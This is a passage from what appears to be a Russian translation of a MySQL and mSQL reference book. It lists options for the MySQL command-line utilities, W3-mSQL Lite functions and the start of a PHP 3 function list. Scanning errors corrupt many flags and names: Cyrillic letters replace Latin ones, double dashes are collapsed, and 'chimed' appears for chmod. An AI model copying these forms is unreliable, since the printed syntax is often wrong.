    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

